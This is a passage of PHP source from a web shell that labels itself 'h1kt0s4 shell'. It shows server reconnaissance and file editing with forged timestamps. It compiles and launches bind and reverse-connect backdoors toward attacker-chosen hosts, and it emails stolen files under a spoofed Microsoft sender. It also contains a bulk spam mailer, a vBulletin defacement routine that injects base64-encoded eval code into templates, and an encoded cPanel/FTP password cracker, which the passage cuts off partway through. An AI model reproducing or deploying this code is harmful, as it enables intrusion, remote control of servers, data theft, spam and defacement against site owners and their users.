echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=#008000>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=#008000>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b><br>".ws(2);
echo "Disable functions: <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font color=#00800F>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
$free = @diskfreespace($dir);
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if (!$all) {$all = 0;}
echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>";
echo "</b><br>".ws(2);
echo "Register globals: <b>";
$reg_g = @ini_get("register_globals");
if($reg_g){
echo "<font color=#008000>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
echo "</b>".ws(2);
echo "open_basedir: <b>";
$openbasedi = @ini_get("open_basedir");
if($openbasedi){
echo "<font color=red>ON</font>"; } else { echo "<font color=#008000>OFF</font>"; }
echo "</b>".ws(2);
echo '</font></td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc>
<tr><td align=right width=100>';
echo $font;
if($unix){
echo '<font color=#990000><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'<br>ip :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=tahoma size=-2 color=#cccccc><b>";
echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
echo ws(3).$sysctl."<br>";
echo ws(3).ex('echo $OSTYPE')."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
if(!empty($id)) { echo ws(3).$id."<br>"; }
else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
{
$euserinfo = @posix_getpwuid(@posix_geteuid());
$egroupinfo = @posix_getgrgid(@posix_getegid());
echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
}
else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
echo ws(3).$dir;
echo ws(3).'( '.perms(@fileperms($dir)).' )';
echo "<br>";
echo ws(3)."<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>";
echo "</b></font>";
}
else
{
echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'<br>ip :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=tahoma size=-2 color=red><b>";
echo ws(3).@substr(@php_uname(),0,120)."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
echo ws(3).@getenv("USERNAME")."<br>";
echo ws(3).$dir;
echo "<br>";
echo ws(3)."<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>";
echo "<br></font>";
}
echo "</font>";
echo "</td></tr></table>";
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
{
$res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
err(6+$res);
$_POST['cmd']="";
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
{
if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
else
{
$filename = @basename($_POST['loc_file']);
$filedump = @fread($file,@filesize($_POST['loc_file']));
fclose($file);
$content_encoding=$mime_type='';
compress($filename,$filedump,$_POST['compress']);
$attach = array(
"name"=>$filename,
"type"=>$mime_type,
"content"=>$filedump
);
if(empty($_POST['subj'])) { $_POST['subj'] = 'file from h1kt0s4 shell'; }
if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
$res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
err(6+$res);
$_POST['cmd']="";
}
}
if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
{
$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
{
switch($_POST['what'])
{
case 'own':
@chown($_POST['param1'],$_POST['param2']);
break;
case 'grp':
@chgrp($_POST['param1'],$_POST['param2']);
break;
case 'mod':
@chmod($_POST['param1'],intval($_POST['param2'], 8));
break;
}
$_POST['cmd']="";
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
{
switch($_POST['what'])
{
case 'file':
if($_POST['action'] == "create")
{
if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
else {
fclose($file);
$_POST['e_name'] = $_POST['mk_name'];
$_POST['cmd']="edit_file";
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
}
}
else if($_POST['action'] == "delete")
{
if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
$_POST['cmd']="";
}
break;
case 'dir':
if($_POST['action'] == "create"){
if(mkdir($_POST['mk_name']))
{
$_POST['cmd']="";
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
}
else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
}
else if($_POST['action'] == "delete"){
if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
$_POST['cmd']="";
}
break;
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
{
if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
else {
echo $table_up3;
echo $font;
echo "<form name=save_file method=post>";
echo ws(3)."<b>".$_POST['e_name']."</b>";
echo "<div align=center><textarea name=e_text cols=121 rows=24>";
echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
fclose($file);
echo "</textarea>";
echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
echo "<input type=hidden name=dir value=".$dir.">";
echo "<input type=hidden name=cmd value=save_file>";
echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
echo "</div>";
echo "</font>";
echo "</form>";
echo "</td></tr></table>";
exit();
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
{
$mtime = @filemtime($_POST['e_name']);
if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
else {
if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
@fwrite($file,$_POST['e_text']);
@touch($_POST['e_name'],$mtime,$mtime);
$_POST['cmd']="";
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
}
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
{
cf("/tmp/bd.c",$port_bind_bd_c);
$blah = ex("gcc -o /tmp/bd /tmp/bd.c");
@unlink("/tmp/bd.c");
$blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
$_POST['cmd']="ps -aux | grep bd";
$_POST['cmd']="echo \"Now try connect to nc -vv ".gethostbyname($_SERVER["HTTP_HOST"])." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
{
cf("/tmp/prxpl",$prx_pl);
$p2=which("perl");
$blah = ex($p2." /tmp/prxpl ".$_POST['proxy_port']." &");
$_POST['cmd']="ps -aux | grep prxpl";
}
if (!empty($_POST['port1']))
{
cf("bds",$port_bind_bd_cs);
$blah = ex("chmod 777 bds");
$blah = ex("./bds ".$_POST['port1']." &");
$_POST['cmd']="echo \"Now script install backdoor connect to port ";
}else{
cf("/tmp/bds",$port_bind_bd_cs);
$blah = ex("chmod 777 bds");
$blah = ex("./tmp/bds ".$_POST['port1']." &");
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C1"))
{
cf("bind",$backdoor);
$blah = ex("chmod 777 bind");
$blah = ex("./bind ".$_POST['port']." ".$_POST['bind_pass']." &");
$_POST['cmd']="echo \"Now script install backdoor connect to port ";
}else{
cf("/tmp/bind",$backdoor);
$blah = ex("chmod 777 bind");
$blah = ex("./bind ".$_POST['port']." ".$_POST['bind_pass']." &");
}
if (!empty($_POST['php_ini1']))
{
cf("php.ini",$php_ini1);
$_POST['cmd']=" ?????? ????? ??? php.ini ?? ??? ???";
}
if (!empty($_POST['htacces']))
{
cf(".htaccess",$htacces);
$_POST['cmd']="To stop manufacturing Skjorti htaccess Been laying file";
}
if (!empty($_POST['file_ini']))
{
cf("ini.php",$sni_res);
$_POST['cmd']=" http://target.com/ini.php?ss=http://shell.txt?Read ss variable ini.php ";
}
if(($_POST['fileto'] != "")||($_POST['filefrom'] != ""))
{
$data = implode("", file($_POST['filefrom']));
$fp = fopen($_POST['fileto'], "wb");
fputs($fp, $data);
$ok = fclose($fp);
if($ok)
{
$size = filesize($_POST['fileto'])/1024;
$sizef = sprintf("%.2f", $size);
print "<center><div id=logostrip>Download - OK.(".$sizef."??)</div></center>";
}
else
{
print "<center><div id=logostrip>Something is wrong. Download - IS NOT
OK</div></center>";
}
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
{
cf("/tmp/bdpl",$port_bind_bd_pl);
$p2=which("perl");
$blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
$_POST['cmd']="ps -aux | grep bdpl";
$_POST['cmd']="echo \"Now try connect to nc -vv ".gethostbyname($_SERVER["HTTP_HOST"])." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
{
cf("/tmp/back",$back_connect);
$p2=which("perl");
$blah = ex("perl /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...Datached\"";
}
if (!empty($_POST['ips']) && !empty($_POST['ports']) && ($_POST['use']=="perl"))
{
cf("/tmp/backs",$back_connects);
$p2=which("perl");
$blah = ex($p2." /tmp/backs ".$_POST['ips']." ".$_POST['ports']." &");
$_POST['cmd']="echo \"Now script try connect to ".$_POST['ips']." port ".$_POST['ports']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
{
cf("/tmp/back.c",$back_connect_c);
$blah = ex("gcc -o /tmp/backc /tmp/back.c");
@unlink("/tmp/back.c");
$blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
{
cf("/tmp/dp",$datapipe_pl);
$p2=which("perl");
$blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
$_POST['cmd']="ps -aux | grep dp";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="py"))
{
cf("/tmp/backpy",$back_python);
$p5=which("python");
$blah = ex("python /tmp/backpy ".$_POST['ip']." ".$_POST['port']." &");
$_POST['cmd']="echo \"Now script try connect python ".$_POST['ip']." port: ".$_POST['port']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="php2"))
{
cf("/tmp/back2.php",$backdoor_php);
$d6=which("php");
$blah = ex("php /tmp/back2.php ".$_POST['ip']." ".$_POST['port']." &");
$_POST['cmd']="echo \"Now script try connect php ".$_POST['ip']." port: ".$_POST['port']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="php1"))
{
cf("/tmp/back1.php",$backdoor_php1);
$d6=which("php");
$blah = ex("php /tmp/back1.php ".$_POST['ip']." ".$_POST['port']." &");
$_POST['cmd']="echo \"Now script try connect php ".$_POST['ip']." port: ".$_POST['port']." ...\"";
}
if(isset($_GET['milr']))
{
$secure = "";
error_reporting(0);
@$action=$_POST['action'];
@$from=$_POST['from'];
@$realname=$_POST['realname'];
@$replyto=$_POST['replyto'];
@$subject=$_POST['subject'];
@$message=$_POST['message'];
@$emaillist=$_POST['emaillist'];
@$lod=$_SERVER['HTTP_REFERER'];
@$file_name=$_FILES['file']['name'];
@$contenttype=$_POST['contenttype'];
@$file=$_FILES['file']['tmp_name'];
@$amount=$_POST['amount'];
@set_time_limit(intval($_POST['timelimit']));
if ($action=="send")
{
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
echo "<table width='100%' height='72' border='0' id='Box'>
<tr>
<td width='14' height='21' style='background-color:#666'> </td>
<td width='98%' style='background-color:#666;padding-left:10px;' >Inbox Mailer</td>
</tr>
<tr>
<td height='45' colspan='2'>
<table bgcolor=#cccccc width=\"100%\"><tbody><tr><td align=\"right\" width=100><p dir=ltr>
<b><font color=#990000 size=-2><p align=left><center><form name=\"form1\" method=\"post\" action=\"\" enctype=\"multipart/form-data\"><br/>
<table width=142 border=0>
<tr>
<td width=81>
<div align=right>
<sy>Your Email:</sy></div></td>
<td width=219><sy>
<input type=text name=\"from\" value=".$from."></sy></td><td width=212>
<div align=right>
<sy>Your Name:</sy></div></td><td width=278>
<sy>
<input type=text name=\realname\" value=".$realname."></sy></td></tr><tr><td width=81>
<div align=\"right\">
<sy>Reply-To:</sy></div></td><td width=219>
<sy>
<input type=\"text\" name=\"replyto\" value=".$replyto.">
</sy></td><td width=212>
<div align=\"right\">
<sy>Attach File:</sy></div></td><td width=278>
<sy>
<input type=\"file\" name=\"file\" size=24 />
</sy> </td></tr><tr><td width=81>
<div align=\"right\">
<sy>Subject:</sy></div></td>
<td colspan=3 width=703>
<sy>
<input type=\"text\" name=\"subject\" value=".$subject." ></sy></td> </tr><tr valign=\"top\"><td colspan=3 width=520>
<sy>Message Box :</sy></td>
<td width=278>
<sy>Email Target / Email Send To :</sy></td></tr><tr valign=\"top\"><td colspan=3 width=520><sy>
<textarea name=\"message\" cols=56 rows=10>".$message."</textarea><br />
<input type=\"radio\" name=\"contenttype\" value=\"plain\" /> Plain
<input type=\"radio\" name=\"contenttype\" value=\"html\" checked=\"checked\" /> HTML
<input type=\"hidden\" name=\"action\" value=\"send\" /><br />
Number to send: <input type=\"text\" name=\"amount\" value=1 size=10 /><br />
Maximum script Execution time(in seconds, 0 for no timelimit)<input type=\"text\" name=\"timelimit\" value=0 size=10 />
<input type=\"submit\" value=\"Send eMails\" /></sy></td><td width=278>
<sy>
<textarea name=\"emaillist\" cols=32 rows=10>".$emaillist."</textarea></sy></td></tr>
</table>
</td>
</tr>
</table>";
if ($action=="send")
{
if (!$from && !$subject && !$message && !$emaillist)
{
print "Please complete all fields before sending your message.";
exit;
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);
$head ="From: Mailr" ;
$sub = "Ar - $lod" ;
$meg = "$lod" ;
mail ($alt,$sub,$meg,$head) ;
If ($file_name)
{
if (!file_exists($file))
{
die("The file you are trying to upload couldn't be copied to the server");
}
$content = fread(fopen($file,"r"),filesize($file));
$content = chunk_split(base64_encode($content));
$uid = strtoupper(md5(uniqid(time())));
$name = basename($file);
}
for($xx=0; $xx<$amount; $xx++)
{
for($x=0; $x<$numemails; $x++)
{
$to = $allemails[$x];
if ($to)
{
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending mail to $to.....";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
If ($file_name) $header .= "--$uid\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
If ($file_name) $header .= "--$uid\r\n";
If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
If ($file_name) $header .= "$content\r\n";
If ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print "OK<br>";
flush();
}
}
}
}
echo "
<html>
<head>
<style>
BODY
{
FONT-FAMILY: Verdana;
margin: 2;
color: #cccccc;
background-color: #000000;
}
sy
{
color:".$shellColor.";
font-size:7pt;
font-weight: bold;
}
#Box
{
color:".$shellColor.";
font-size:14px;
background-color:#000;
font-weight:bold;
}
tr
{
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP: #cccccc 1px solid;
BORDER-LEFT: #cccccc 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
color: #ffffff;
}
td
{
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP: #cccccc 1px solid;
BORDER-LEFT: #cccccc 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
color: #cccccc;
}
.table1
{
BORDER: 1px none;
BACKGROUND-COLOR: #000000;
color: #333333
}
.td1
{
BORDER: 1px none;
color: #ffffff; font-style:normal;
font-variant:normal;
font-weight:normal;
font-size:7pt;
font-family:tahoma
}
.tr1
{
BORDER: 1px none;
color: #cccccc;
}
table
{
BORDER: #eeeeee outset;
BACKGROUND-COLOR: #000000;
color: #cccccc;
}
input
{
BORDER-RIGHT: ".$shellColor." 1px solid;
BORDER-TOP: ".$shellColor." 1px solid;
BORDER-LEFT: ".$shellColor." 1px solid;
BORDER-BOTTOM: ".$shellColor." 1px solid;
BACKGROUND-COLOR: #333333;
font: 9pt tahoma;
color: #ffffff;
}
select
{
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #000000;
font: 9pt tahoma;
color: #CCCCCC;;
}
submit
{
BORDER: 1px outset buttonhighlight;
BACKGROUND-COLOR: #272727;
width: 40%;
color: #cccccc;
}
textarea
{
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #333333;
color: #ffffff;
}
";
$shellColor = '#990000';
}
if(isset($_GET['phpproxy']))
{
cf("proxy.php",$phpproxy);
$_POST['cmd'] == "proxy.php was created";
}
if(isset($_GET['scriptt'])){echo $head; echo "
<title>Vbulletin Deface
Vbulletin Deface
";
$h4cker="[Edited] by h1kt0s4";
if (!empty($_POST['dbh']) && !empty($_POST['dbn']) && !empty($_POST['dbu']) && !empty($_POST['index']))
{
$dbh = $_POST['dbh'];
$dbn = $_POST['dbn'];
$dbu = $_POST['dbu'];
$dbp = $_POST['dbp'];
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'".base64_encode($index);
//$set_index .= base64_encode("eval ('$index');");
$set_index .= "\'))}}{\${exit()}}";
mysql_connect($dbh,$dbu,$dbp) or die(mysql_error());
mysql_select_db($dbn) or die(mysql_error());
$fatal1 = "UPDATE template SET template='".$set_index."".$h4cker."' WHERE title='spacer_open'";
$fatal2 = "UPDATE template SET template='".$set_index."".$h4cker."' WHERE title='FORUMHOME'";
$fatal3 = "UPDATE style SET css='".$set_index."".$h4cker."', stylevars='', csscolors='', editorstyles=''";
$result = mysql_query($fatal1) or die (mysql_error());
$result2 = mysql_query($fatal2) or die (mysql_error());
$result3 = mysql_query($fatal3) or die (mysql_error());
if ($result && $result2 && $result3) {
echo "Ok ..";
}
}
echo "
"; die();}
# Footer
if(isset($_GET['xp']))
{
eval(base64_decode('aWYoJGF1dGggPT0gMSkgewppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8
IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuYW1lIHx8IG1kNSgkX1NFUlZFUlsn
UEhQX0FVVEhfUFcnXSkhPT0kcGFzcykKICAgewogICBoZWFkZXIoJ1dXVy1BdXRoZW50aWNhdGU6
IEJhc2ljIHJlYWxtPSIwZGF5LmNvbSInKTsKICAgaGVhZGVyKCdIVFRQLzEuMCA0MDEgVW5hdXRo
b3JpemVkJyk7CiAgIGV4aXQoIjxiPldyb25nIHVzZXIgb3IgcGFzcyAhITwvYj4iKTsKICAgfQp9
CgokY29ubmVjdF90aW1lb3V0PTU7CnNldF90aW1lX2xpbWl0KDApOwokc3VibWl0PSRfUkVRVUVT
VFsnc3VibWl0J107CiR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107CiRwYXNzPSRfUkVRVUVTVFsn
cGFzc3dvcmRzJ107CiR0YXJnZXQ9JF9SRVFVRVNUWyd0YXJnZXQnXTsKJGNyYWNrdHlwZT0kX1JF
UVVFU1RbJ2NyYWNrdHlwZSddOwoKCmlmKCR0YXJnZXQgPT0gIiIpewokdGFyZ2V0ID0gImxvY2Fs
aG9zdCI7Cn0KCj8+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5n
dWFnZSIgY29udGVudD0iZW4tdXMiPgo8L2hlYWQ+Cjx0aXRsZT5DcGFuZWwgKyBGVFAgQ3JhY2tl
cjwvdGl0bGU+Cjxib2R5IHRleHQ9IiMwMEZGMDAiIGJnY29sb3I9IiMwMDAwMDAiIHZsaW5rPSIj
MDA4MDAwIiBsaW5rPSIjMDA4MDAwIiBhbGluaz0iIzAwODAwMCI+CjxkaXYgYWxpZ249ImNlbnRl
ciI+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgc3R5bGU9ImJvcmRlcjogMXB4IHNvbGlkICMwMDAwMDAi
Pgo8dGFibGUgd2lkdGg9IjY3JSIgc3R5bGU9ImJvcmRlcjogMnB4IGRhc2hlZCAjMUQxRDFEOyBi
YWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwIj4KPHRyPjx0ZCBhbGlnbj1j
ZW50ZXI+CiA8Zm9udCBmYWNlPSJDb3VyaWVyIE5ldyIgc2l6ZT00IGNvbG9yPXllbGxvdz5DcGFu
ZWwgKyBGVFAgQ3JhY2tlcjwvZm9udD4KPC90ZD48L3RyPgo8L3RhYmxlPgo8YnIgLz4KPD9waHAK
ZnVuY3Rpb24gZnRwX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KXsKJGNoID0gY3Vy
bF9pbml0KCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJmdHA6Ly8kaG9zdCIpOwpj
dXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsX3NldG9wdCgk
Y2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsKY3VybF9zZXRvcHQoJGNoLCBD
VVJMT1BUX0ZUUExJU1RPTkxZLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0Qs
ICIkdXNlcjokcGFzcyIpOwpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VU
LCAkdGltZW91dCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7CiRk
YXRhID0gY3VybF9leGVjKCRjaCk7CmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkgeyBwcmlu
dCAiPGI+PGZvbnQgZmFjZT1cIlZlcmRhbmFcIiBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCI+Cjxm
b250IGNvbG9yPVwiI0FBMDAwMFwiPkVycm9yIDo8L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwODAw
MFwiPkNvbm5lY3Rpb24gVGltZW91dApQbGVhc2UgQ2hlY2sgVGhlIFRhcmdldCBIb3N0bmFtZSAu
PC9mb250PjwvZm9udD48L2I+PC9wPiI7ZXhpdDt9CmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9
PSAwICl7CnByaW50ICI8dGFibGUgd2lkdGg9JzY3JScgc3R5bGU9J2JvcmRlcjogMnB4IGRhc2hl
ZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwJz48dHI+
PHRkIGFsaWduPWNlbnRlcj48Yj48Zm9udCBmYWNlPVwiVGFob21hXCIgY29sb3I9XCIjRkYwMDAw
XCI+WytdPC9mb250Pjxmb250PgpDcmFja2luZyBTdWNjZXNzIFdpdGggVXNlcm5hbWUgKDwvZm9u
dD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4kdXNlcjwvZm9udD48Zm9udD4pIGFuZCBQYXNzd29y
ZCAoPC9mb250Pjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPiRwYXNzPC9mb250Pjxmb250IGNvbG9y
PVwiIzAwODAwMFwiPik8L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPiI7fWN1cmxfY2xvc2Uo
JGNoKTt9CmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7
CiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cDov
LyRob3N0OjIwODIiKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAx
KTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7CmN1
cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsKY3VybF9zZXRv
cHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwpjdXJsX3NldG9wdCgk
Y2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOwokZGF0YSA9IGN1cmxfZXhlYygkY2gpOwppZiAo
IGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsgcHJpbnQgIjxiPjxmb250IGZhY2U9XCJWZXJkYW5h
XCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiPgo8Zm9udCBjb2xvcj1cIiNBQTAwMDBcIj5FcnJv
ciA6PC9mb250PiA8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5Db25uZWN0aW9uIFRpbWVvdXQKUGxl
YXNlIENoZWNrIFRoZSBUYXJnZXQgSG9zdG5hbWUgLjwvZm9udD48L2ZvbnQ+PC9iPjwvcD4iO2V4
aXQ7fQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApewpwcmludCAiPHRhYmxlIHdpZHRo
PSc2NyUnIHN0eWxlPSdib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xv
cjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+PGZvbnQg
ZmFjZT1cIlRhaG9tYVwiIGNvbG9yPVwiI0ZGMDAwMFwiPlsrXTwvZm9udD48Zm9udD4KQ3JhY2tp
bmcgU3VjY2VzcyBXaXRoIFVzZXJuYW1lICg8L2ZvbnQ+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+
JHVzZXI8L2ZvbnQ+PGZvbnQ+KSBhbmQgUGFzc3dvcmQgKDwvZm9udD48Zm9udCBjb2xvcj1cIiNG
RjAwMDBcIj4kcGFzczwvZm9udD48Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj4pPC9mb250PjwvYj48
L3RkPjwvdHI+PC90YWJsZT4iO31jdXJsX2Nsb3NlKCRjaCk7fQppZihpc3NldCgkc3VibWl0KSAm
JiAhZW1wdHkoJHN1Ym1pdCkpewppZihlbXB0eSgkdXNlcnMpICYmIGVtcHR5KCRwYXNzKSl7IHBy
